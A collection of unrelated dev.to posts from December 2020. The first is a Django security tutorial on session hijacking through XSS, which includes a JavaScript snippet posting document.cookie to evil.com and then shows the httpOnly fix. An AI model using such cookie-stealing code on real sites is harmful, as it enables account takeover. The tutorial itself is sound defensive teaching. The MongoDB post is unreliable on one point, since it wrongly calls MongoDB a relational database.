teleren/devto huggingface dataset:
Hacking Django websites: session hijacking with XSS
Tags: django, webdev, security, python
Published: 2020-12-17 11:09:03

One vulnerability builds on top of another: a bad actor can perform a series of attacks on your website that starts as a simple XSS attack to trick the browser into executing some JavaScipt, and ends with the hacker completely hijacking the victim's logged in session through stealing the their session cookie:

{% youtube 9VkFqClGO5M  %}

_Ready for a Django security challenge? Play our [Django security challenge](https://django.doctor/challenge/settings-security)._

In this scenario the hacker simply copy and pasted the victim's session cookie and then reloaded the page. But how did they get the cookie? [In a previous post](https://dev.to/djangodoctor/hacking-django-websites-30f) it was shown how an insecure website can be tricked into executing some JavaScript. Let's change the example a bit to steal the session cookie via JavaScript:

```js
// nefavious.js

function stealSessionCookie(cookies) {
    fetch('https://evil.com/api/cookies', {method: 'post'}, cookies)
}

stealSessionCookie(document.cookie)
```

In this example, the victim's session cookies are posted to the hacker's server - allowing the hacker to read the cookie from the log as demonstrated in the video.

This kind of attack can also be used to steal the [CSRF cookie](https://dev.to/djangodoctor/hacking-django-websites-cross-site-request-protection-2i1i), which further demonstrates how one apparent minor vulnerability leads to another.


### Prevention

This session cookie hijacking was only possible because the website had the following vulnerabilities:
 - website was vulnerable to [XSS attack](https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting)
 - Session cookie was not [httpOnly](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#Restrict_access_to_cookies)

The httpOnly problem can be fixed by doing the following in Django:

```py
MIDDLEWARE = [
    'django.contrib.sessions.middleware.SessionMiddleware',
    ...
]

SESSION_COOKIE_HTTPONLY = True
```

This will prevent the browser from being able to read the value of the session cookie, so if a hacker does successfully perform an XSS attack at least they cannot hijack the user's session.

### Does your website have security vulnerabilities?

Over time it's easy for security vulnerabilities and tech debt to slip into your codebase. I can check that for you at [django.doctor](https://django.doctor), or can [review your GitHub PRs](https://github.com/marketplace/django-doctor/):

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/d10epulva9d373jgldhu.png)

Or try out [Django refactor challenges](https://django.doctor/challenge).
What project thinking can give 
Tags: productivity, leadership, todayilearned, management
Published: 2020-12-17 11:08:07

We always deal with people, especially managers,  talking about project thinking during the product creation process. What is it, and what advantages will it bring to the team? Let's have this concept considered.

Usually, project thinking is about seeing every process as a project, its issues, and seeking the best options, taking money and time into account.
In the shortest possible period and with minimum budget expenses, the project management approach helps you get a result from a concept.
For instance, on a small scale, the same project management strategies may be applied for planning your workday or educational project as effectively as possible.

There are four stages in project thinking:
1. See the problem
2. Think over the result
3. Understand what resources will be required to achieve it and calculate the time
4. Plan and act
 
In <a href=https://exceed-team.com/tech/why-everyone-can-benefit-from-learning-project-thinking>this article</a>, you’ll also learn about the project lifecycle that helps you build your project from the idea to a visible improvement.
Website Charter | WebsiteCharter
Published: 2020-12-17 10:43:01

Website charter is going to be an effective decision that works in favor of your brand. We are a company of highly trained professionals that strive towards building experiences and enhancing brand personalities by the help of creative logo designs. It is one of our expertise to delve into the aesthetics of a logo design based on brand requirements and needs. Working with website charter is going to help you not only build your brand a solid structure but it will also assist you with positioning yourself against your competitors. You should know that you have our support and you must reach out to us to get started on your venture.
Coronavirus Probability Checker
Tags: dohackathon
Published: 2020-12-17 10:30:45

## What I built

Coronavirus Probability Checker

### Category Submission: 

Program for the People

### App Link
https://github.com/Siddhant-K-code/Coronavirus-Probability-Checker

### Screenshots


### Description
 
* It is a Probability Checker for COVID-19 , people can input values and symptoms and accr. to the data , patient will get the probability of +ve COVID-19.

* Currently , I trained this on Random data.

* If we execute this idea with official Data , it can be very helpful for Peoples.


### Link to Source Code

https://github.com/Siddhant-K-code/Coronavirus-Probability-Checker/blob/master/My%20Solution%20for%20Coronavirus%20Problem.ipynb

### Permissive License


## Background
COVID-19 Pandemic

### How I built it 
(How did you utilize DigitalOcean’s App Platform? Did you learn something new along the way? Pick up a new skill?)

Currently, i am unable to deploy this, i will deploy this using DigitalOcean.

### Additional Resources/Info
What tech did you use to build your personal website/portfolio? 2020 Edition!
Tags: discuss, webdev, career, showdev
Published: 2020-12-17 10:26:03

Exactly one year ago I asked the dev community what tech they used to build their personal website/portfolio and later compiled the answers.


{% link https://dev.to/thatonejakeb/dev-to-community-s-top-tech-to-build-a-website-portfolio-1e4a %}


So to carry on the tradition (tradition!): 

**What tech did you use to build your personal website/portfolio?**

*Bonus question if you answered last year: has it changed?*

Feel free to shamelessly plug your website/portfolio if you answer!
Openfortivpn - automatet network interface switcher
Tags: nvim, programming, setup
Published: 2020-12-17 10:21:39

---
title: Openfortivpn - automatet network interface switcher
published: true
tags: nvim, programming, setup
---

On our workplace we have to use Fortinet to connect to our VPN Network.
But if I'm connected to wifi and cable, some how I have issues to resolve addresses within the company network. So every time, I deactivate my wifi and establish then the VPN connection. 
But - most of the time I forget this step. So I disconnect the VPN, deactivate wifi, and reactivate the connection. We have also two way Auth activated, so in a bad case I have to type three times Auth passwords (root pw, because its needed from client, network Auth from the company, and the two way Auth pin, which will be send to me)

So, I wrote a script...

```bash

#!/bin/bash
cableInterface="enp0s31f6"
wifiInterface="wlp3s0"

wireConnecton=$(ethtool "$cableInterface" | grep Link | cut -d' ' -f3)
wifiConnecton=$(ethtool "$wifiInterface" | grep Link | cut -d' ' -f3)

while :; do
    case "$1" in
        -c) 

            tmux kill-session -t VPN
            if [ "$wifiConnecton" == "yes" ] && [ "$wireConnecton" == "yes" ]; then
                echo "disable wifi"
                nmcli device disconnect "$wifiInterface"
            fi

            # activate wifi if i am not on cable
            if [ "$wifiConnecton" == "no" ] && [ "$wireConnecton" == "no" ]; then
                nmcli device connect "$wifiInterface"
            fi
            # get passwords and usernames
            sysPass=$(pass show path/to/rootPw | head -n1)
            pass=$(pass show path/for/vpnaccess | head -n1)
            user=$(pass show path/for/vpnaccess | tail -n1)

            # create new tmux session named VPN and establish vpn connection
            sleep 2
            tmux new-session -d -s "VPN"  sudo /usr/bin/openfortivpn -c /etc/openfortivpn/config -u "$user"  -p "$pass"
            sleep 1
            # send root password to system auth
            tmux send-keys -t "VPN:0" $sysPass Enter
            ;;
        -k) 
            # kill vpn conneciton 
            if [ "$wifiConnecton" == "no" ]; then
                 nmcli device connect "$wifiInterface"
            fi
            echo $(pass show path/to/rootPw | head -n1) | sudo -S killall openfortivpn 
            # kill session
            tmux kill-session -t VPN
            ;;
        *)
            break
    esac
    shift
done


```

But I want to add some additional breeze. I am using rofi not only as window switcher and application launcher. I trigger as well some custom script e.g. change my wallpaper and color theme, or trigger Jenkins builds. So I add this script to my custom launcher, and now I just have to type in the pin which will be send to my mobile phone.

![vpn-rofi.png](https://www.dropbox.com/s/xevwns0vh9nr87q/vpn-rofi.png?raw=1)
7 Principles of SCM That You Can’t Forget to Add in Your Assignment
Tags: supplychainmanagement, management
Published: 2020-12-17 10:10:12

Supply chain management is a study of management of the flow of goods, services, and transformation of raw materials into final products. Every student is required to write a [supply chain management assignment](https://www.instantassignmenthelp.com.au/assignment-on-supply-chain-management) to show how much they understand from it. 

Many years ago, the 7 principles of supply chain management were drawn with widely used supply chain strategies and initiatives by the various manufacturers, distributors, and retailers. Students studying management should know these principles as these can be helpful in assignment writing. 

These principles are more than a decade old based on the need for supply chain leaders to focus on the customer. These timeless principles also stress the importance of coordinating activities (demand planning, sourcing, assembly, delivery, and information sharing) within and across organizations.

Here are the 7 principles of SCM that you should not forget to add to your assignment. According to the experts, these principles are an essential part of supply chain management.

7 Principals of SCM to Mention in the Assignment 
These are the principles of supply chain management widely read by SCM professionals that you add to your assignment.

**Principle 1:** Based on the need for service, divide the customers into the specific group, and adjust the supply so that these groups will be served profitably.

**Principle 2:** Modify the various network logistics to fulfill the requirements and profit of various customer groups.

**Principle 3:** Listen to the market signals and adjust the planning of demands accordingly across the supply chain, ensuring consistent forecasts and optimal resource allocation.

**Principle 4:** Differentiate the products closer to the customer and speed conversation across the supply chain.

**Principle 5:** Manage sources of supply strategically to reduce the total cost of owning materials and services.

**Principle 6:** Develop a supply chain-wide technology strategy that supports multiple decision-making levels and gives a clear view of the flow of products, services, and information.

**Principle 7:** Adopt channel-spanning performance measures to gauge collective success in reaching the end-user effectively and efficiently.

Various logistics coordinate with these principles to make a continuous supply chain, like- the plans or strategies, the source of raw materials or services, manufacturing that is more focused on productivity and efficiency, delivery and logistics, and the return system for defective or unwanted products.

Hope adding these points to your assignment may help to increase the value of writing. These principles of supply chain management will [make your assignment impressive](https://www.instantassignmenthelp.com.au/make-my-assignment) and powerful. 

**Summary**
This article introduces the principles of supply chain management that you can add to your assignment. To know more about the principles, you should read the whole article.
How big or small should microservices be?
Tags: discuss, architecture, docker, microservices
Published: 2020-12-17 10:07:40

---
title: How big or small should microservices be?
published: true
description: compares to a monolythic app, microservices are smaller, but how much?
tags: 
  - discussion
  - architecture
  - docker
  - microservice
cover_image: https://dev-to-uploads.s3.amazonaws.com/i/67fvpnig2dem135n0q7q.jpg
---
How big are microservices? They are small. How do you even messure it? lines of code? needed memory? amount of data processed? complexity(of any kind)?

Does running an app in docker makes it a micro service architecture? and how big would you say is a cloud function in comparison?

and I would also like to see some wrong and fun answers.
Memories #02
Tags: csharp, beginners, codenewbie, gamedev
Published: 2020-12-17 09:49:24

## It started, don't let it stop

Also,
This project is one of the first game-projects done by me and developed for academic purposes in 2017.
**Always making new stuff to learn and always upgrading our techniques and growing as a developer.**

## Do you want to check out?

If you want to check out the video or the code about the project here on the links below:

Links:
[Youtube](https://youtu.be/W5P5F5Ryh-8/)
[Twitter](https://twitter.com/DavidCRicardo/status/1339226728909115392)
Understanding Closures in JavaScript
Tags: javascript, typescript
Published: 2020-12-17 09:49:04

JavaScript closures were always hard to understand because of the way they are explained. The closure is one of the most important core concepts of JavaScript.


 *“Writing in ECMAScript language without understanding closure is like writing Java without understanding classes” — Douglas Crockford, father of JSON*

In most of the examples, you will see people explaining this as a function inside another function but in reality, it is much more than this. 

Take a look at the code below:

```javascript
var x = 0;

addNumber = () => {
 return 5 + x;
}

console.log(addNumber);
```

JavaScript is a lexical scoping language, the inheritance flows inwards. The above code uses a global scope and there is nothing to protect it against change. A variable declared outside the function is available for use within the function. You can not use a variable outside that's been declared inside a function.

Now let me introduce you to closure. Look at the below code.


```javascript
closedFunction = () => {
 
 var counter = 0;

 var increment = () => {
  counter++;
  console.log(counter);
 }
 
 return { increment }
 
}

var countMe = closedFunction();

console.log(countMe.increment()); //returns 1
console.log(countMe.increment()); //returns 2
```

The scope of the function is created once and memory gets allocated for it. Processing happens until it reaches the end of the function and the memory gets released. There is no permanence gained in the exercise and whatever value created is forever lost.

However, if you wrap your function within a function, it creates another scope — a sort of ring fence around your code that tells JavaScript not to destroy your function when it ends.
The counter variable in the code above becomes the enclosed variable because it is outside the function being called (i.e. Increment). As a result, you can create an unlimited number of function instances with its own set of unique values.

In a way, closures are just functions with preserved data. When you create a closure, you’re telling JavaScript to remember the state of things inside your function — and only the variables that are used are considered ‘closures’.
Advent of code - Day 16
Tags: javascript, typescript, adventofcode
Published: 2020-12-17 09:30:52

Are you participating in the [Advent of code](http://adventofcode.com) this year?

If you don't know what the advent of code is, it's a website where you'll find a daily challenge (every day it gets harder). It's a really fun event, you should participate!

I try to solve the exercises using either JavaScript or TypeScript and will share my solutions daily (with one day delay so no one can cheat!). I only share the solution for the second part.

This one was really interesting! Loved the part where you needed to figure out which rule apply to which number. Thankfully, there was no possible conflict where you would need to generate all possible permutations to find out which one was the right one. A simple "filter out the one already assigned and keep the ones with only one possibility" works (recursive, obviously).

The rest was pretty straight forward!

Here is my solution for day #16:
```js
const [rawRules, rawMine, rawNearby] = input.split('\n\n')

const rules = rawRules.split('\n').map((rule) => {
  const [name, definition] = rule.split(': ')
  return {
    name,
    range: definition.split(' or ').map((range) => range.split('-').map((x) => parseInt(x, 10))),
  }
})

const nearby = rawNearby
  .split('\n')
  .slice(1)
  .map((ticket) => ticket.split(',').map((x) => parseInt(x, 10)))
  .filter((numbers) => {
    return !numbers.some((number) => {
      return rules.every((rule) => {
        return (
          number < rule.range[0][0] ||
          (number > rule.range[0][1] && number < rule.range[1][0]) ||
          number > rule.range[1][1]
        )
      })
    })
  })

const possibilities = []
for (let i = 0; i < nearby[0].length; i++) {
  const currentRules = rules.filter((rule) => {
    return nearby.every(
      (numbers) =>
        (numbers[i] >= rule.range[0][0] && numbers[i] <= rule.range[0][1]) ||
        (numbers[i] >= rule.range[1][0] && numbers[i] <= rule.range[1][1]),
    )
  })
  possibilities.push(currentRules.map((rule) => rule.name))
}

function orderRules(possibilities) {
  const loners = possibilities.filter((possibility) => possibility.length === 1).map((rules) => rules[0])
  if (loners.length === possibilities.length) return possibilities.map((x) => x[0])
  const newPossibilities = possibilities.map((possibility) =>
    possibility.length === 1 ? possibility : possibility.filter((rule) => !loners.includes(rule)),
  )
  return orderRules(newPossibilities)
}

const rulesInOrder = orderRules(possibilities)

const myTicket = rawMine
  .split('\n')[1]
  .split(',')
  .map((x) => parseInt(x, 10))

const numbers = myTicket.filter((value, index) => {
  return rulesInOrder[index].startsWith('departure')
})

console.log(numbers.reduce((acc, x) => acc * x, 1))
```

Feel free to share your solution in the comments!

________________________

Photo by [Markus Spiske](https://unsplash.com/@markusspiske?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText) on [Unsplash](https://unsplash.com/?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText)
How to properly install MongoDB on windows 10
Tags: database, codenewbie, mongodb
Published: 2020-12-17 09:11:48

# What is MongoDB
MongoDB is a cross-platform document-oriented database program. Classified as a NoSQL database program, MongoDB uses JSON-like documents with optional schemas. MongoDB is developed by MongoDB Inc. and licensed under the Server Side Public License (SSPL).
Relational databases are fast growing and gaining grounds in modern day tech related fields like AI, Machine Learning, Big Data, Data sciences and more. Nowadays, relational databases are easy to learn and approach as well and MongoDB happens to be one of them.

# Procedure
 To install MongoDB, the following steps should be used:

## Step 1:
Head to the official MongoDB website and download the latest version of MongoDB Community server. [Click here](https://www.mongodb.com/try/download/community)

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/pt1gr3sh73bs5uc0s0re.png)

## Step 2:
Locate the downloaded file and run the installation by right clicking on it then clicking install on the dropdown.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/gj5zt6omi38pyjsus3ib.jpg)

## Step 3:
Agree to the terms and conditions of installations then click on next
![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/qhz7xsg6m4en8h3il6v6.png)

## Step 4:
After approving the terms and conditions, this page pops up. Click on next to continue
![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/p0l438zd0i3ux5al8cdx.png)

## Step 5:
Choose the type of installation you’ll need. The complete installation is recommended as it will completely install all necessary and demanded features of MongoDB. But if you are an advanced user and want to go ahead with custom installations, that’s okay. For simplicity, I will use the complete installation procedure. Click on next after this.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/nlygve57bjfi8r5gmnvp.png)


## Step 6:
Next, you need to specify the configuration of MongoDB. If you will like it to run as a network service user or a local/domain user. 

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/igaa6s3asn4i2ja2hy4m.png)

## Step 7:
Click on install and wait for the process to complete

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/tjhbnpj13qcye2qprf7m.png)

## Step 8:
Be patient and wait while the installation process completes

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/lfvmjnhixfiboslgkabg.png)

## Step 9:
Click on finish and you are done

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/vatgefedgb2egsug9ym1.png)


# Conclusion

To use MongoDB, you will need to run the script from the installation directory. How ever to make it accessible everywhere on your command line, you will need to add it to your system path.
If you will like me to write a post on how to add this, comment on this post and let me know

Thanks
Merry Christmas and Happy New Year 2021
![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/zzgbtdnpu8rxw8a04keo.png)